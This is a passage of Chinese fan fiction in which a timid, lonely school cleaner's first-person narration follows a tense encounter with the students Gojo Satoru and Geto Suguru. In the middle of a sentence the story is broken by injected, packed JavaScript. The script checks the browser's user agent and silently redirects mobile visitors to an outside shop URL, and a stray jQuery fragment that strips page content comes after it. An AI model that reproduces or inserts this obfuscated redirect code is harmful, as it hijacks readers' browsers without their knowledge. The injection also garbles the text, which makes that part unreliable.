我是一个病人。我是一个不受喜爱的人，我是一个无礼的人，我是一个被世界抛弃的人，我是一个人。
病患和患病相辅相成，人与人出生起就奠定了基础，手腕戴上了不同颜色和程度的塑胶圈。
我的塑胶圈从母亲剪下脐带后，避孕套似得丢在一旁的草丛里，奠定我人生的基础开始运转了。
深夜的东京陷入一种沉醉的迷惘，白天的喧哗和热闹像泡在啤酒瓶里的冰块，直到深夜才沉寂下来，微醺着荡漾开。
白色巨形银幕播放着救援项目，工作人员戴着黄褐色的安全帽，身影频频移动着在主持人的背景下显现。
我是这所高等专门学校里的职工，任务是清洁和打扫，偶尔负责清扫盥洗室的工作。
我从十六岁就知道自己普通的一生。普通的样貌、普通的家世、普通的工作、普通的一生。
普通人的一生注定是在无穷无尽的痛楚中度过的，自从我步入社会后，我再也没有感受过快乐，每一天的生活于我而言都是枯燥至极。
白天我七点半就要出现在学校，一直工作到十一点半。受校长的恩惠，下午我可以和学校里的学生一起上课。
打扫、跪在地上擦地、打扫盥洗室、上课。打扫、跪在地上擦地、打扫盥洗室、上课。打扫、跪在地上擦地、打扫盥洗室、上课。
“快点把球打过来啦——硝子，那边有人在扫地——”
这是我的日常。
“不要给杰——啊，打偏了。”
每一天都是。
“杰是笨蛋欸……算了，我去捡好了。”
每一天、日复一日、永远都是一个人。
“喂，那边的——帮忙把球打过来一下啦！”
扫地是一个人、擦地也是一个人，上课的时候是坐在后排最角落的位置。毕竟过于普通和丑陋的我，是不会有人……
“喂——！”
耳畔突然响起的声音，我被吓得身体颤抖了一下，手里的扫把抖了抖，抬起头。
“和你说话好久呢。”
他站在距离我不远的地方，中间一道已经泛黄的灌木丛。他隔空点了点地上的方向，黑色的小圆框墨镜偏了偏头，“帮我捡一下球？”
“抱、抱歉…”
我只是看了他一秒，就有些局促地低下头，双手握着把杆的手紧紧攥着，死死盯着脚下的树叶。
“我马上扫完就走……”
“哈…？你到底有没有听我说话。是球，球啦。”
卡在灌木林里的的确有一个白色条纹的圆球，我放下扫把，踌躇着上前，把球从里面抱出来，递给他。
“抱歉……”
递出的球没有人接，举在半空好久。
“你——”
地上的影子越来越长，他拖长了语调，弯下腰靠近我。他越是上前，我就越是先后倾斜，整个脖子都快缩在肩膀里。
“干嘛啦，打过来啊。你是鸵鸟吗，一直缩什么，我还没靠近呢。”
“对不起……”
“也不要莫名其妙道歉——”
手里的重量一轻，举到发酸的手臂终于可以放下。我庆幸还好他没有让我真的把球打过去，这种白色有条纹的球，我实在不知道该怎么打。
“喂，等一下。”
球在他的指尖转了一圈。
“你一定要全程低着头吗？你是员工？清洁工？还是其他学校义务劳动的社会人员？啊，不会是来偷球的吧。”
我连连摆手，脚下成堆的树叶快要被我盯穿，脸憋到发红。
“不、不……”
“悟。”
地面上的影子多了一个穿着阔腿裤的男生。
“捡球也太慢了，硝子都回去。”
“是杰打的太烂啦，都滚到灌木丛里了。我捡了好久。”
“这样吗，看来下一次要打到树上。”
“你自己爬树去捡哦。”
聊起来了……
两个人有一句没一句的聊起来了。
我还站在原地，像个被处罚的小学生一样。这种场面我已经见惯不怪了，童年在沙地旁、学生在教室外，我永远都是那个被忽视和厌弃的人。
“啊，对了杰。”
声音传递的走向好像偏向了我。地上的影子，那个戴墨镜的男生点了点我。
“这有个奇怪的家伙。”
另一个影子动了动，我的心一下子紧了。我一直很害怕目光和注视这类词汇。光是在文字浏览上看见就让我紧张到手心出汗。我害怕别人的目光，我害怕别人的议论，我害怕他们所有在注视完我的下一句话。
“悟，不要这样说女孩子。”
穿阔腿裤的男生说，轻轻叹了口气，“这是我们的同学，她和我们在同一间教室上过课。”
“欸——！？”
五条悟发出了惊愕的声音。
“真的假的？我怎么完全不认识。是上学期吗？这学期？她叫什么。”
“应该是这学期。悟，难道你完全不看课堂记录吗？收作业的时候有四本。”
夏油杰无奈地叹气，看着她，“名字的话，应该叫……山…”
……我并不是这学期才来。
我从开学，在五条同学和夏油同学第一次见面的时候，我就已经在这所学校打扫了。
我比所有人更早来到这里，知道他们每一个人名字，擅长的科目，但是没有人知道我。
甚至连我的名字都不知道。
夏油杰在念出我名字的第一个发音后又顿住。他开了开口，最终连我的姓氏都没能完全念出来。
“抱歉，我可能有些忘记了，请问你是叫山本吗？我有听过老师念你的名字。”
“……”
“什么？”夏油杰弯下腰，手撑在膝盖上。
“…”
“……我还是没能听清，可以声音大一点吗？”
“……山…山田。”
连续不断失败的回答已经我的头已经快要埋到胸腔里了。我的手指死死抓着自己破旧带有泥土的裤脚，不敢抬头。手臂长时间维持紧夹的姿势，已经让我的腋下有些汗渍。
“……我叫山田翠…对不起…我的声音是不是太小了……我没有和男生说过话，可能有点……”
好痛苦……
为什么我会这样紧张…为什么……为什么……为什么要一直追问我的名字……
可以不要看着我吗？可以继续把我当空气吗？对不起……我知道自己的声音很小，我知道自己回答的很糟糕……我的口音很糟糕……我的声音很糟糕……我身上的气味很糟糕……
夏油杰直起身，第一时间没有说话。五条看向他。
“她说什么。”
“嗯……”
夏油杰停顿了一下，“山田翠。”
他说，点了点头，看向挚友，“是的，她说她叫山田翠。好像是叫这个名字，悟，你忘了吗？她有借过你修正带。”
五条悟长长“啊……”了一声，排球在左手上下抛动。
“忘记了。主要她一直低着头，我想要记起来也很难。”
“或许……”
他弯下腰，幅度几乎要与那片灌木丛等高，黑色的墨镜滑到鼻梁，露出一小节蓝色的眼眸，歪着头看我。
“你可以抬头让我看看你长什么样子？”
我的呼吸几乎要停滞了。
本身就过近的距离，在突如其来的弯腰下更近了一份。我不能抬头，无论如何，像我这样的人，一定不能抬头。
“喂——”
五条悟的声音忽然放轻了，带着点好奇，“你在发抖哎。”
夏油杰从后面伸手，拎住五条悟的后领把他往后拽了半步，“悟，你吓到她了。”
“我哪有吓她。”
五条悟直起身抗议，“我只是——她为什么一直低着头？连耳朵尖都是红的。而且……”
他的鼻尖动了动
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17797332|210536||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，然后直起身。
“杰，你有没有闻到什么奇怪的味道。”
“……”
空气停滞了。
后背的衣服已经快要被汗渍打湿。本身就炎热的天气，在加上我刚结束大量的清洁工作后，混合着清洁剂与汗液的味道，让我的手指用力掐着手心，根本不敢开口。
“是我出了些汗。”夏油杰扫了我一眼，平淡地说道，“悟，你自己也打了那么久的球，没觉得自己身上也全是汗味吗？”
“哈？我这是运动后的男人味好吗！”五条悟夸张的皱起眉，不甘示弱，“杰你身上才臭臭的。”
“……我没说你身上臭臭的。”
夏油无奈叹气，看了一眼时间，“那么我们先走了，山田同学，辛苦你帮我们捡球。”
我想说不客气又想要摆手，最后同时手忙脚乱起来，两只手摆个不停，嘴里说不出来一句话。
“没关系，我明白你的意思。”
他轻轻笑了笑，温柔地开口，“天气很热，早点回去休息。”
我愣了一下，抬起头时，夏油同学和五条同学已经走出灌木林，只有地上一张白色印着五条同学名字的学生卡。
学生卡在学校是身份的象征。
我想…应该马上还回去才对……
“那、那个……”
我攥着卡片，小跑几步跟在五条悟身后，想要拉住他，却被无形的东西挡住。
“五条同学……”
球在他上下上下抛动，五条悟脚步没停，没有回头。
“你的卡……那个、五条同学……”
球在他手心转了一个圈，他哼着不知名字的调子，覆盖了我的声音。
“你的卡好像落在草地……五条同学…请、请等一下五条同学……！”
我急得团团转，终于加大了音量。他太高了，而我的声音太小了，怎么样都听不见。衣服的弧度扩大了一点，五条悟停止上下抛动的球，回头。
“对不起…我不是故意要拦住你的。只是这个……”
我双手递上卡片，举过脑袋，“好像是你刚才……”
“哦，这个。”
他打断我的话，漫不经心，“谢咯。”
“不客气……其实五条同学不记得我的名字也没关系。我平时的确不爱说话…如果需要的话，我那边其实还有五条同学遗漏的两只铅笔、一块橡皮擦、一本笔记……我这边在打扫的时候都收起来了，如果需要我可以……”
五条悟有一搭没一搭的听着。
烈日阳光下的炙热落在他抱着球的手臂上，发烫又燥热。运动后的黏腻让他的手臂十分不适。
他并不认识这个叫山本还是山田的女生，或许有那么一点印象还是停留在经常看见她的背影基础上。她矮矮的小小的，只知道和她打招呼几乎从来不回答，每次看见自己也是快步绕开立刻逃离。
她的话又小又密。
哪怕是现在——说着感谢充满诚意的话，哪怕是现在，也在低着头一个人窃窃私语。
没人告诉她，低头说话是一件很没有礼貌的事情吗？
“啊，这样。”
远处是挚友已经走远的身影，五条悟掏了掏耳朵，“你刚才说，如果有什么需要的话，对吧？”
“是、是的……”
我点头，看着他的鞋尖，搅着手指，“如何有需要的话，五条同学可以尽情来找我帮忙。不管是清理还是打扫、或者针线活，其实我都……”
“离我远一点吧。可以吧？”
“……欸？”
“欸什么嘛。不是你先问我有没有什么需要你帮忙的？”
他笑道，手里的球换到了右手，“先离我远一点吧——好吗？实在听不见你说话呢。我也很忙，本来休息的时间就很少，不要再占用我的时间啦。”
视线里黑色的鞋尖离开，踩在草地发出沙沙的声音。
我抬起头，看着他的背影，表情还有些呆愣。